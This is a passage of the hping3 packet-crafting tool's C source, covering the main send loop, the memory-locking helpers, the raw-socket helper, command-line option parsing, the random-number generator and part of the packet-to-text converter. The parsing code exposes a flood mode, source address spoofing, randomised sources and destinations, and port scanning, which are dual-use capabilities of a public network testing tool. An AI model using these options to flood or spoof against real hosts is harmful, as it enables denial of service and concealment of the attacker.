IPHDR_SIZE + UDPHDR_SIZE; } else { if (tcp_th_flags & TH_RST) strcat(setflags, "R"); if (tcp_th_flags & TH_SYN) strcat(setflags, "S"); if (tcp_th_flags & TH_ACK) strcat(setflags, "A"); if (tcp_th_flags & TH_FIN) strcat(setflags, "F"); if (tcp_th_flags & TH_PUSH) strcat(setflags, "P"); if (tcp_th_flags & TH_URG) strcat(setflags, "U"); if (tcp_th_flags & TH_X) strcat(setflags, "X"); if (tcp_th_flags & TH_Y) strcat(setflags, "Y"); if (setflags[0] == '\0') strcat(setflags, "NO FLAGS are"); hdr_size = IPHDR_SIZE + TCPHDR_SIZE; } printf("HPING %s (%s %s): %s set, %d headers + %d data bytes\n", targetname, ifname, targetstraddr, setflags, hdr_size, data_size); /* memory protection */ if (opt_datafromfile || opt_sign) { if (memlockall() == -1) { perror("[main] memlockall()"); fprintf(stderr, "Warning: can't disable memory paging!\n"); } else if (opt_verbose || opt_debug) { printf("Memory paging disabled\n"); } } /* start packet sending */ kill(getpid(), SIGALRM); /* flood mode? */ if (opt_flood) { fprintf(stderr, "hping in flood mode, no replies will be shown\n"); while (1) { send_packet(0); } } /* main loop */ while(1) wait_packet(); return 0; } hping3-3.a2.ds2/memlock.c000066400000000000000000000013011021454026700151650ustar00rootroot00000000000000/* * $smu-mark$ * $name: memlock.c$ * $other_author: Alfonso De Gregorio * $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:48 MET 1999$ * $rev: 2$ */ /* $Id: memlock.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include int memlock(char *addr, size_t size) { #ifdef _POSIX_MEMLOCK_RANGE unsigned long page_offset, page_size; page_size = sysconf(_SC_PAGESIZE); /* also .. */ page_offset = (unsigned long) addr % page_size; addr -= page_offset; size += page_offset; return ( mlock(addr, size) ); #endif return (-1); } hping3-3.a2.ds2/memlockall.c000066400000000000000000000011031021454026700156560ustar00rootroot00000000000000/* * $smu-mark$ * $name: memlockall.c$ * $other_author: Alfonso De Gregorio * $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:48 MET 1999$ * $rev: 2$ */ /* $Id: memlockall.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include int memlockall(void) { /* #ifdef _POSIX_MEMLOCK */ /* NJ: better to test _POSIX_MEMLOCK value */ #if _POSIX_MEMLOCK == 1 return ( mlockall(MCL_CURRENT|MCL_FUTURE) ); #endif return (-1); } hping3-3.a2.ds2/memstr.c000066400000000000000000000012061021454026700150510ustar00rootroot00000000000000/* * $smu-mark$ * $name: memstr.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:48 MET 1999$ * $rev: 4$ */ /* $Id: memstr.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include /* NULL macro */ char *memstr(char *haystack, char *needle, int size) { char *p; char needlesize = strlen(needle); for (p = haystack; p <= (haystack-needlesize+size); p++) { if (memcmp(p, needle, needlesize) == 0) return p; /* found */ } return NULL; } hping3-3.a2.ds2/memunlock.c000066400000000000000000000012571021454026700155420ustar00rootroot00000000000000/* * $smu-mark$ * $name: memunlock.c$ * $other_author: Alfonso De Gregorio * $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:48 MET 1999$ * $rev: 2$ */ /* $Id: memunlock.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include int memunlock(char *addr, size_t size) { #ifdef _POSIX_MEMLOCK_RANGE unsigned long page_offset, page_size; page_size = sysconf(_SC_PAGESIZE); page_offset = (unsigned long) addr % page_size; addr -= page_offset; size += page_offset; return ( munlock(addr, size) ); #endif return (-1); } hping3-3.a2.ds2/memunlockall.c000066400000000000000000000010641021454026700162270ustar00rootroot00000000000000/* * $smu-mark$ * $name: memunlockall.c$ * $other_author: Alfonso De Gregorio * $other_copyright: Copyright (C) 1999 by Alfonso De Gregorio * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:48 MET 1999$ * $rev: 2$ */ /* $Id: memunlockall.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include int memunlockall(void) { /* #ifdef _POSIX_MEMLOCK */ /* NJ: better to test _POSIX_MEMLOCK value */ #if _POSIX_MEMLOCK == 1 return ( munlockall() ); #endif return(-1); } hping3-3.a2.ds2/opensockraw.c000066400000000000000000000011561021454026700161010ustar00rootroot00000000000000/* * $smu-mark$ * $name: opensockraw.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:49 MET 1999$ * $rev: 8$ */ /* $Id: opensockraw.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include #include /* IPPROTO_RAW def. */ int open_sockraw() { int s; s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s == -1) { perror("[open_sockraw] socket()"); return -1; } return s; } hping3-3.a2.ds2/parseoptions.c000066400000000000000000000442541021454026700163020ustar00rootroot00000000000000/* parseoptions.c -- options handling * Copyright(C) 1999-2001 Salvatore Sanfilippo * Under GPL, see the COPYING file for more information about * the license. */ /* $Id: parseoptions.c,v 1.2 2004/06/18 09:53:11 antirez Exp $ */ #include #include #include #include #include #include #include #include #include #include "antigetopt.h" #include "hping2.h" #include "globals.h" enum { OPT_COUNT, OPT_INTERVAL, OPT_NUMERIC, OPT_QUIET, OPT_INTERFACE, OPT_HELP, OPT_VERSION, OPT_DESTPORT, OPT_BASEPORT, OPT_TTL, OPT_ID, OPT_WIN, OPT_SPOOF, OPT_FIN, OPT_SYN, OPT_RST, OPT_PUSH, OPT_ACK, OPT_URG, OPT_XMAS, OPT_YMAS, OPT_FRAG, OPT_MOREFRAG, OPT_DONTFRAG, OPT_FRAGOFF, OPT_TCPOFF, OPT_REL, OPT_DATA, OPT_RAWIP, OPT_ICMP, OPT_UDP, OPT_BIND, OPT_UNBIND, OPT_DEBUG, OPT_VERBOSE, OPT_WINID, OPT_KEEP, OPT_FILE, OPT_DUMP, OPT_PRINT, OPT_SIGN, OPT_LISTEN, OPT_SAFE, OPT_TRACEROUTE, OPT_TOS, OPT_MTU, OPT_SEQNUM, OPT_BADCKSUM, OPT_SETSEQ, OPT_SETACK, OPT_ICMPTYPE, OPT_ICMPCODE, OPT_END, OPT_RROUTE, OPT_IPPROTO, OPT_ICMP_IPVER, OPT_ICMP_IPHLEN, OPT_ICMP_IPLEN, OPT_ICMP_IPID, OPT_ICMP_IPPROTO, OPT_ICMP_CKSUM, OPT_ICMP_TS, OPT_ICMP_ADDR, OPT_TCPEXITCODE, OPT_FAST, OPT_TR_KEEP_TTL, OPT_TCP_TIMESTAMP, OPT_TR_STOP, OPT_TR_NO_RTT, OPT_ICMP_HELP, OPT_RAND_DEST, OPT_RAND_SOURCE, OPT_LSRR, OPT_SSRR, OPT_ROUTE_HELP, OPT_ICMP_IPSRC, OPT_ICMP_IPDST, OPT_ICMP_SRCPORT, OPT_ICMP_DSTPORT, OPT_ICMP_GW, OPT_FORCE_ICMP, OPT_APD_SEND, OPT_SCAN, OPT_FASTER, OPT_BEEP, OPT_FLOOD }; static struct ago_optlist hping_optlist[] = { { 'c', "count", OPT_COUNT, AGO_NEEDARG }, { 'i', "interval", OPT_INTERVAL, AGO_NEEDARG|AGO_EXCEPT0 }, { 'n', "numeric", OPT_NUMERIC, AGO_NOARG }, { 'q', "quiet", OPT_QUIET, AGO_NOARG }, { 'I', "interface", OPT_INTERFACE, AGO_NEEDARG }, { 'h', "help", OPT_HELP, AGO_NOARG }, { 'v', "version", OPT_VERSION, AGO_NOARG }, { 'p', "destport", OPT_DESTPORT, AGO_NEEDARG|AGO_EXCEPT0 }, { 's', "baseport", OPT_BASEPORT, AGO_NEEDARG|AGO_EXCEPT0 }, { 't', "ttl", OPT_TTL, AGO_NEEDARG }, { 'N', "id", OPT_ID, AGO_NEEDARG|AGO_EXCEPT0 }, { 'w', "win", OPT_WIN, AGO_NEEDARG|AGO_EXCEPT0 }, { 'a', "spoof", OPT_SPOOF, AGO_NEEDARG|AGO_EXCEPT0 }, { 'F', "fin", OPT_FIN, AGO_NOARG|AGO_EXCEPT0 }, { 'S', "syn", OPT_SYN, AGO_NOARG|AGO_EXCEPT0 }, { 'R', "rst", OPT_RST, AGO_NOARG|AGO_EXCEPT0 }, { 'P', "push", OPT_PUSH, AGO_NOARG|AGO_EXCEPT0 }, { 'A', "ack", OPT_ACK, AGO_NOARG|AGO_EXCEPT0 }, { 'U', "urg", OPT_URG, AGO_NOARG|AGO_EXCEPT0 }, { 'X', "xmas", OPT_XMAS, AGO_NOARG|AGO_EXCEPT0 }, { 'Y', "ymas", OPT_YMAS, AGO_NOARG|AGO_EXCEPT0 }, { 'f', "frag", OPT_FRAG, AGO_NOARG|AGO_EXCEPT0 }, { 'x', "morefrag", OPT_MOREFRAG, AGO_NOARG|AGO_EXCEPT0 }, { 'y', "dontfrag", OPT_DONTFRAG, AGO_NOARG }, { 'g', "fragoff", OPT_FRAGOFF, AGO_NEEDARG|AGO_EXCEPT0 }, { 'O', "tcpoff", OPT_TCPOFF, AGO_NEEDARG|AGO_EXCEPT0 }, { 'r', "rel", OPT_REL, AGO_NOARG }, { 'd', "data", OPT_DATA, AGO_NEEDARG|AGO_EXCEPT0 }, { '0', "rawip", OPT_RAWIP, AGO_NOARG|AGO_EXCEPT0 }, { '1', "icmp", OPT_ICMP, AGO_NOARG }, { '2', "udp", OPT_UDP, AGO_NOARG }, { '8', "scan", OPT_SCAN, AGO_NEEDARG }, { 'z', "bind", OPT_BIND, AGO_NOARG }, { 'Z', "unbind", OPT_UNBIND, AGO_NOARG }, { 'D', "debug", OPT_DEBUG, AGO_NOARG }, { 'V', "verbose", OPT_VERBOSE, AGO_NOARG }, { 'W', "winid", OPT_WINID, AGO_NOARG }, { 'k', "keep", OPT_KEEP, AGO_NOARG }, { 'E', "file", OPT_FILE, AGO_NEEDARG|AGO_EXCEPT0 }, { 'j', "dump", OPT_DUMP, AGO_NOARG|AGO_EXCEPT0 }, { 'J', "print", OPT_PRINT, AGO_NOARG|AGO_EXCEPT0 }, { 'e', "sign", OPT_SIGN, AGO_NEEDARG|AGO_EXCEPT0 }, { '9', "listen", OPT_LISTEN, AGO_NEEDARG|AGO_EXCEPT0 }, { 'B', "safe", OPT_SAFE, AGO_NOARG|AGO_EXCEPT0 }, { 'T', "traceroute", OPT_TRACEROUTE, AGO_NOARG }, { 'o', "tos", OPT_TOS, AGO_NEEDARG }, { 'm', "mtu", OPT_MTU, AGO_NEEDARG|AGO_EXCEPT0 }, { 'Q', "seqnum", OPT_SEQNUM, AGO_NOARG|AGO_EXCEPT0 }, { 'b', "badcksum", OPT_BADCKSUM, AGO_NOARG|AGO_EXCEPT0 }, { 'M', "setseq", OPT_SETSEQ, AGO_NEEDARG|AGO_EXCEPT0 }, { 'L', "setack", OPT_SETACK, AGO_NEEDARG|AGO_EXCEPT0 }, { 'C', "icmptype", OPT_ICMPTYPE, AGO_NEEDARG|AGO_EXCEPT0 }, { 'K', "icmpcode", OPT_ICMPCODE, AGO_NEEDARG|AGO_EXCEPT0 }, { 'u', "end", OPT_END, AGO_NOARG|AGO_EXCEPT0 }, { 'G', "rroute", OPT_RROUTE, AGO_NOARG }, { 'H', "ipproto", OPT_IPPROTO, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "icmp-help", OPT_ICMP_HELP, AGO_NOARG }, { '\0', "icmp-ipver", OPT_ICMP_IPVER, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "icmp-iphlen", OPT_ICMP_IPHLEN, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "icmp-iplen", OPT_ICMP_IPLEN, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "icmp-ipid", OPT_ICMP_IPID, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "icmp-ipproto", OPT_ICMP_IPPROTO, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "icmp-cksum", OPT_ICMP_CKSUM, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "icmp-ts", OPT_ICMP_TS, AGO_NOARG }, { '\0', "icmp-addr", OPT_ICMP_ADDR, AGO_NOARG }, { '\0', "tcpexitcode", OPT_TCPEXITCODE, AGO_NOARG }, { '\0', "fast", OPT_FAST, AGO_NOARG|AGO_EXCEPT0 }, { '\0', "faster", OPT_FASTER, AGO_NOARG|AGO_EXCEPT0 }, { '\0', "tr-keep-ttl", OPT_TR_KEEP_TTL, AGO_NOARG }, { '\0', "tcp-timestamp",OPT_TCP_TIMESTAMP, AGO_NOARG }, { '\0', "tr-stop", OPT_TR_STOP, AGO_NOARG }, { '\0', "tr-no-rtt", OPT_TR_NO_RTT, AGO_NOARG }, { '\0', "rand-dest", OPT_RAND_DEST, AGO_NOARG }, { '\0', "rand-source", OPT_RAND_SOURCE, AGO_NOARG }, { '\0', "lsrr", OPT_LSRR, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "ssrr", OPT_SSRR, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "route-help", OPT_ROUTE_HELP, AGO_NOARG }, { '\0', "apd-send", OPT_APD_SEND, AGO_NEEDARG }, { '\0', "icmp-ipsrc", OPT_ICMP_IPSRC, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "icmp-ipdst", OPT_ICMP_IPDST, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "icmp-gw", OPT_ICMP_GW, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "icmp-srcport", OPT_ICMP_SRCPORT, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "icmp-dstport", OPT_ICMP_DSTPORT, AGO_NEEDARG|AGO_EXCEPT0 }, { '\0', "force-icmp", OPT_FORCE_ICMP, AGO_NOARG }, { '\0', "beep", OPT_BEEP, AGO_NOARG }, { '\0', "flood", OPT_FLOOD, AGO_NOARG }, AGO_LIST_TERM }; /* The following var is turned to 1 if the -i option is used. * This allows to assign a different delay default value if * the scanning mode is selected. */ static int delay_changed = 0; static int suidtester(void) { return (getuid() != geteuid()); } void fail_parse_route(void) { fprintf(stderr, "RECTUM\n"); exit(1); } void parse_route(unsigned char *route, unsigned int *route_len, char *str) { struct in_addr ip; unsigned int i = 0; unsigned int j; unsigned int n = 0; unsigned int route_ptr = 256; char c; route += 3; while (str[i] != '\0') { for (j = i; isalnum(str[j]) || str[j] == '.'; j++); switch(c = str[j]) { case '\0': case '/': if (n >= 62) { fprintf(stderr, "too long route\n"); fail_parse_route(); } str[j] = '\0'; if (inet_aton(str+i, &ip)) { memcpy(route+4*n, &ip.s_addr, 4); n++; if (c == '/') str[j++] = '/'; break; } fprintf(stderr, "invalid IP adress in route\n"); fail_parse_route(); case ':': if ((!i) && j && j < 4) { sscanf(str, "%u:%n", &route_ptr, &i); if (i == ++j) { if (route_ptr < 256) break; } } default: fail_parse_route(); } i = j; } if (route_ptr == 256) route[-1] = (unsigned char) ( n ? 8 : 4 ); else route[-1] = (unsigned char) route_ptr; *route_len = 4*n + 3; route[-2] = (unsigned char) *route_len; } int parse_options(int argc, char **argv) { int src_ttl_set = 0; int targethost_set = 0; int o; if (argc < 2) return -1; ago_set_exception(0, suidtester, "Option disabled when setuid"); while ((o = antigetopt(argc, argv, hping_optlist)) != AGO_EOF) { switch(o) { case AGO_UNKNOWN: case AGO_REQARG: case AGO_AMBIG: ago_gnu_error("hping", o); fprintf(stderr, "Try hping --help\n"); exit(1); case AGO_ALONE: if (targethost_set == 1) { fprintf(stderr, "hping: you must specify only " "one target host at a time\n"); exit(1); } else { strlcpy(targetname, ago_optarg, 1024); targethost_set = 1; } break; case OPT_COUNT: count = strtol(ago_optarg, NULL, 0); break; case OPT_INTERVAL: delay_changed = 1; if (*ago_optarg == 'u') { opt_waitinusec = TRUE; usec_delay.it_value.tv_sec = usec_delay.it_interval.tv_sec = 0; usec_delay.it_value.tv_usec = usec_delay.it_interval.tv_usec = atol(ago_optarg+1); } else sending_wait = strtol(ago_optarg, NULL, 0); break; case OPT_NUMERIC: opt_numeric = TRUE; break; case OPT_QUIET: opt_quiet = TRUE; break; case OPT_INTERFACE: strlcpy (ifname, ago_optarg, 1024); break; case OPT_HELP: show_usage(); break; case OPT_VERSION: show_version(); break; case OPT_DESTPORT: if (*ago_optarg == '+') { opt_incdport = TRUE; ago_optarg++; } if (*ago_optarg == '+') { opt_force_incdport = TRUE; ago_optarg++; } base_dst_port = dst_port = strtol(ago_optarg, NULL, 0); break; case OPT_BASEPORT: initsport = strtol(ago_optarg, NULL, 0); break; case OPT_TTL: src_ttl = strtol(ago_optarg, NULL, 0); src_ttl_set = 1; break; case OPT_ID: src_id = strtol(ago_optarg, NULL, 0); break; case OPT_WIN: src_winsize = strtol(ago_optarg, NULL, 0); break; case OPT_SPOOF: strlcpy (spoofaddr, ago_optarg, 1024); break; case OPT_FIN: tcp_th_flags |= TH_FIN; break; case OPT_SYN: tcp_th_flags |= TH_SYN; break; case OPT_RST: tcp_th_flags |= TH_RST; break; case OPT_PUSH: tcp_th_flags |= TH_PUSH; break; case OPT_ACK: tcp_th_flags |= TH_ACK; break; case OPT_URG: tcp_th_flags |= TH_URG; break; case OPT_XMAS: tcp_th_flags |= TH_X; break; case OPT_YMAS: tcp_th_flags |= TH_Y; break; case OPT_FRAG: opt_fragment = TRUE; break; case OPT_MOREFRAG: opt_mf = TRUE; break; case OPT_DONTFRAG: opt_df = TRUE; break; case OPT_FRAGOFF: ip_frag_offset = strtol(ago_optarg, NULL, 0); break; case OPT_TCPOFF: src_thoff = strtol(ago_optarg, NULL, 0); break; case OPT_REL: opt_relid = TRUE; break; case OPT_DATA: data_size = strtol(ago_optarg, NULL, 0); break; case OPT_RAWIP: opt_rawipmode = TRUE; break; case OPT_ICMP: opt_icmpmode = TRUE; break; case OPT_ICMP_TS: opt_icmpmode = TRUE; opt_icmptype = 13; break; case OPT_ICMP_ADDR: opt_icmpmode = TRUE; opt_icmptype = 17; break; case OPT_UDP: opt_udpmode = TRUE; break; case OPT_SCAN: opt_scanmode = TRUE; opt_scanports = strdup(ago_optarg); break; case OPT_LISTEN: opt_listenmode = TRUE; strlcpy(sign, ago_optarg, 1024); signlen = strlen(ago_optarg); break; case OPT_IPPROTO: raw_ip_protocol = strtol(ago_optarg, NULL, 0); break; case OPT_ICMPTYPE: opt_icmpmode= TRUE; opt_icmptype = strtol(ago_optarg, NULL, 0); break; case OPT_ICMPCODE: opt_icmpmode= TRUE; opt_icmpcode = strtol(ago_optarg, NULL, 0); break; case OPT_BIND: ctrlzbind = BIND_TTL; break; case OPT_UNBIND: ctrlzbind = BIND_NONE; break; case OPT_DEBUG: opt_debug = TRUE; break; case OPT_VERBOSE: opt_verbose = TRUE; break; case OPT_WINID: opt_winid_order = TRUE; break; case OPT_KEEP: opt_keepstill = TRUE; break; case OPT_FILE: opt_datafromfile = TRUE; strlcpy(datafilename, ago_optarg, 1024); break; case OPT_DUMP: opt_hexdump = TRUE; break; case OPT_PRINT: opt_contdump = TRUE; break; case OPT_SIGN: opt_sign = TRUE; strlcpy(sign, ago_optarg, 1024); signlen = strlen(ago_optarg); break; case OPT_SAFE: opt_safe = TRUE; break; case OPT_END: opt_end = TRUE; break; case OPT_TRACEROUTE: opt_traceroute = TRUE; break; case OPT_TOS: if (!strcmp(ago_optarg, "help")) tos_help(); else { static unsigned int tos_tmp = 0; sscanf(ago_optarg, "%2x", &tos_tmp); ip_tos |= tos_tmp; /* OR tos */ } break; case OPT_MTU: virtual_mtu = strtol(ago_optarg, NULL, 0); opt_fragment = TRUE; if(virtual_mtu > 65535) { virtual_mtu = 65535; printf("Specified MTU too high, " "fixed to 65535.\n"); } break; case OPT_SEQNUM: opt_seqnum = TRUE; break; case OPT_BADCKSUM: opt_badcksum = TRUE; break; case OPT_SETSEQ: set_seqnum = TRUE; tcp_seqnum = strtoul(ago_optarg, NULL, 0); break; case OPT_SETACK: set_ack = TRUE; tcp_ack = strtoul(ago_optarg, NULL, 0); break; case OPT_RROUTE: opt_rroute = TRUE; break; case OPT_ICMP_HELP: icmp_help(); /* ICMP options help */ break; case OPT_ICMP_IPVER: icmp_ip_version = strtol(ago_optarg, NULL, 0); break; case OPT_ICMP_IPHLEN: icmp_ip_ihl = strtol(ago_optarg, NULL, 0); break; case OPT_ICMP_IPLEN: icmp_ip_tot_len = strtol(ago_optarg, NULL, 0); break; case OPT_ICMP_IPID: icmp_ip_id = strtol(ago_optarg, NULL, 0); break; case OPT_ICMP_IPPROTO: icmp_ip_protocol = strtol(ago_optarg, NULL, 0); break; case OPT_ICMP_IPSRC: strlcpy (icmp_ip_srcip, ago_optarg, 1024); break; case OPT_ICMP_IPDST: strlcpy (icmp_ip_dstip, ago_optarg, 1024); break; case OPT_ICMP_GW: strlcpy (icmp_gwip, ago_optarg, 1024); break; case OPT_ICMP_SRCPORT: icmp_ip_srcport = strtol(ago_optarg, NULL, 0); break; case OPT_ICMP_DSTPORT: icmp_ip_dstport = strtol(ago_optarg, NULL, 0); break; case OPT_FORCE_ICMP: opt_force_icmp = TRUE; break; case OPT_ICMP_CKSUM: icmp_cksum = strtol(ago_optarg, NULL, 0); break; case OPT_TCPEXITCODE: opt_tcpexitcode = TRUE; break; case OPT_FAST: delay_changed = 1; opt_waitinusec = TRUE; usec_delay.it_value.tv_sec = usec_delay.it_interval.tv_sec = 0; usec_delay.it_value.tv_usec = usec_delay.it_interval.tv_usec = 100000; break; case OPT_FASTER: delay_changed = 1; opt_waitinusec = TRUE; usec_delay.it_value.tv_sec = usec_delay.it_interval.tv_sec = 0; usec_delay.it_value.tv_usec = usec_delay.it_interval.tv_usec = 1; case OPT_TR_KEEP_TTL: opt_tr_keep_ttl = TRUE; break; case OPT_TCP_TIMESTAMP: opt_tcp_timestamp = TRUE; break; case OPT_TR_STOP: opt_tr_stop = TRUE; break; case OPT_TR_NO_RTT: opt_tr_no_rtt = TRUE; break; case OPT_RAND_DEST: opt_rand_dest = TRUE; break; case OPT_RAND_SOURCE: opt_rand_source = TRUE; break; case OPT_LSRR: opt_lsrr = TRUE; parse_route(lsr, &lsr_length, ago_optarg); if (lsr[0]) printf("Warning: erasing previously given " "loose source route"); lsr[0] = 131; break; case OPT_SSRR: opt_ssrr = TRUE; parse_route(ssr, &ssr_length, ago_optarg); if (ssr[0]) printf("Warning: erasing previously given " "strong source route"); ssr[0] = 137; break; case OPT_ROUTE_HELP: route_help(); break; case OPT_APD_SEND: hping_ars_send(ago_optarg); break; case OPT_BEEP: opt_beep = TRUE; break; case OPT_FLOOD: opt_flood = TRUE; break; } } /* missing target host? */ if (targethost_set == 0 && opt_listenmode && opt_safe) { printf( "you must specify a target host if you require safe protocol\n" "because hping needs a target for HCMP packets\n"); exit(1); } if (targethost_set == 0 && !opt_listenmode) return -1; if (opt_numeric == TRUE) opt_gethost = FALSE; /* some error condition */ if (data_size+IPHDR_SIZE+TCPHDR_SIZE > 65535) { printf("Option error: sorry, data size must be <= %lu\n", (unsigned long)(65535-IPHDR_SIZE+TCPHDR_SIZE)); exit(1); } else if (count <= 0 && count != -1) { printf("Option error: count must > 0\n"); exit(1); } else if (sending_wait < 0) { printf("Option error: bad timing interval\n"); exit(1); } else if (opt_waitinusec == TRUE && usec_delay.it_value.tv_usec < 0) { printf("Option error: bad timing interval\n"); exit(1); } else if (opt_datafromfile == TRUE && data_size == 0) { printf("Option error: -E option useless without -d\n"); exit(1); } else if (opt_sign && data_size && signlen > data_size) { printf( "Option error: signature (%d bytes) is larger than data size\n" "check -d option, don't specify -d to let hping compute it\n", signlen); exit(1); } else if ((opt_sign || opt_listenmode) && signlen > 1024) { printf("Option error: signature too big\n"); exit(1); } else if (opt_safe == TRUE && src_id != -1) { printf("Option error: sorry, you can't set id and " "use safe protocol at some time\n"); exit(1); } else if (opt_safe == TRUE && opt_datafromfile == FALSE && opt_listenmode == FALSE) { printf("Option error: sorry, safe protocol is useless " "without 'data from file' option\n"); exit(1); } else if (opt_safe == TRUE && opt_sign == FALSE && opt_listenmode == FALSE) { printf("Option error: sorry, safe protocol require you " "sign your packets, see --sign | -e option\n"); exit(1); } else if (opt_rand_dest == TRUE && ifname[0] == '\0') { printf("Option error: you need to specify an interface " "when the --rand-dest option is enabled\n"); exit(1); } /* dependences */ if (opt_safe == TRUE) src_id = 1; if (opt_traceroute == TRUE && ctrlzbind == BIND_DPORT) ctrlzbind = BIND_TTL; if (opt_traceroute == TRUE && src_ttl_set == 0) src_ttl = DEFAULT_TRACEROUTE_TTL; /* set the data size to the signature len if the no data size * was specified */ if (opt_sign && !data_size) data_size = signlen; /* If scan mode is on, and the -i option was not used, * set the default delay to zero, that's send packets * as fast as possible. */ if (opt_scanmode && !delay_changed) { opt_waitinusec = TRUE; usec_delay.it_value.tv_sec = usec_delay.it_interval.tv_sec = 0; usec_delay.it_value.tv_usec = usec_delay.it_interval.tv_usec = 0; } return 1; } hping3-3.a2.ds2/random.c000066400000000000000000000036651021454026700150350ustar00rootroot00000000000000/* rc4-based pseudo-random number generator for hping. * Copyright (C) 2003 Salvatore Sanfilippo * This software is released under the GPL license * All rights reserved */ /* $Id: random.c,v 1.3 2004/06/04 07:22:38 antirez Exp $ */ #include #include #include #include #include #include #include "fixtypes.h" u_int32_t hp_rand(void); /* The rc4 sbox */ static unsigned char rc4_sbox[256]; /* This flags is used to initialize the sbox the first time, * without an explicit intialization step outside this file. */ static int rc4_seedflag = 0; /* Initialize the sbox with pseudo random data */ static void hp_rand_init(void) { int i, fd; /* Strong sbox initialization */ fd = open("/dev/urandom", O_RDONLY); if (fd != -1) { read(fd, rc4_sbox, 256); close(fd); } /* Weaker sbox initialization */ for (i = 0; i < 256; i++) { struct timeval tv; gettimeofday(&tv, NULL); if (i&1) rc4_sbox[i] ^= (tv.tv_usec >> (i&0xF)) & 0xFF; else rc4_sbox[i] ^= (tv.tv_sec >> (i&0xF)) & 0xFF; } rc4_seedflag = 1; } #if 0 /* Re-seed the generator with user-provided bytes. Not used for now. */ static void hp_rand_seed(void *seed, size_t len) { int i; if (len > 256) len = 256; memcpy(rc4_sbox, seed, len); /* discard the first 256 bytes of output after the reseed */ for (i = 0; i < 32; i++) (void) hp_rand(); } #endif /* Generates a 32bit random number using an RC4-like algorithm */ u_int32_t hp_rand(void) { u_int32_t r = 0; unsigned char *rc = (unsigned char*) &r; static unsigned int i = 0, j = 0; unsigned int si, sj, x; /* initialization, only needed the first time */ if (!rc4_seedflag) hp_rand_init(); /* generates 4 bytes of pseudo-random data using RC4 */ for (x = 0; x < 4; x++) { i = (i+1) & 0xff; si = rc4_sbox[i]; j = (j + si) & 0xff; sj = rc4_sbox[j]; rc4_sbox[i] = sj; rc4_sbox[j] = si; *rc++ = rc4_sbox[(si+sj)&0xff]; } return r; } hping3-3.a2.ds2/rapd.c000066400000000000000000000312271021454026700144760ustar00rootroot00000000000000/* rapd.c -- Reverse APD, from ARS packet to APD string description. * Copyright (C) 2003 Salvatore Sanfilippo * All rights reserved. */ /* $Id: rapd.c,v 1.7 2004/04/10 00:45:11 antirez Exp $ */ #include #include #include #include "ars.h" void trimlastchar(char *s) { int len = strlen(s); s[len-1] = '\0'; } int ars_d_from_ars(char *dest, size_t len, struct ars_packet *pkt) { int j, err; struct adbuf buf; if (len <= 0) return -ARS_OK; if (adbuf_init(&buf)) return -ARS_NOMEM; for (j = 0; j < pkt->p_layer_nr; j++) { __D(printf("ReverseAPD-ing layer %d\n", j);) /* Skip NULL compilers */ if (ars_linfo[pkt->p_layer[j].l_type].li_rapd != NULL) { /* Call the layer to string converter */ err = ars_linfo[pkt->p_layer[j].l_type].li_rapd(&buf, pkt, j); if (err != -ARS_OK) { adbuf_free(&buf); return err; } } } adbuf_rtrim(&buf, 1); strlcpy(dest, adbuf_ptr(&buf), len); adbuf_free(&buf); return -ARS_OK; } /* layer rapd methods */ int ars_rapd_ip(struct adbuf *dest, struct ars_packet *pkt, int layer) { struct ars_iphdr *ip = pkt->p_layer[layer].l_data; struct ars_iphdr *defip = pkt->p_default[pkt->p_layer[layer].l_type]; adbuf_printf(dest, "ip("); if (!defip || ip->ihl != defip->ihl) adbuf_printf(dest, "ihl=0x%1x,", ip->ihl); if (!defip || ip->version != defip->version) adbuf_printf(dest, "ver=0x%1x,", ip->version); if (!defip || ip->tos != defip->tos) adbuf_printf(dest, "tos=0x%02x,", ip->tos); adbuf_printf(dest, "totlen=%u,", ntohs(ip->tot_len)); if (!defip || ip->id != defip->id) adbuf_printf(dest, "id=%u,", ntohs(ip->id)); adbuf_printf(dest, "fragoff=%u,", (ntohs(ip->frag_off) & 0x1FFF) << 3); if (!defip || (ip->frag_off & ARS_IP_MF) != (defip->frag_off & ARS_IP_MF)) adbuf_printf(dest, "mf=%d,", (htons(ip->frag_off) & ARS_IP_MF) != 0); if (!defip || (ip->frag_off & ARS_IP_DF) != (defip->frag_off & ARS_IP_DF)) adbuf_printf(dest, "df=%d,", (htons(ip->frag_off) & ARS_IP_DF) != 0); if (!defip || (ip->frag_off & ARS_IP_RF) != (defip->frag_off & ARS_IP_RF)) adbuf_printf(dest, "rf=%d,", (htons(ip->frag_off) & ARS_IP_RF) != 0); if (!defip || ip->ttl != defip->ttl) adbuf_printf(dest, "ttl=%u,", ip->ttl); /* TODO: the 'proto' field may not be added if the protocl * that follows this layer looks as specified. */ adbuf_printf(dest, 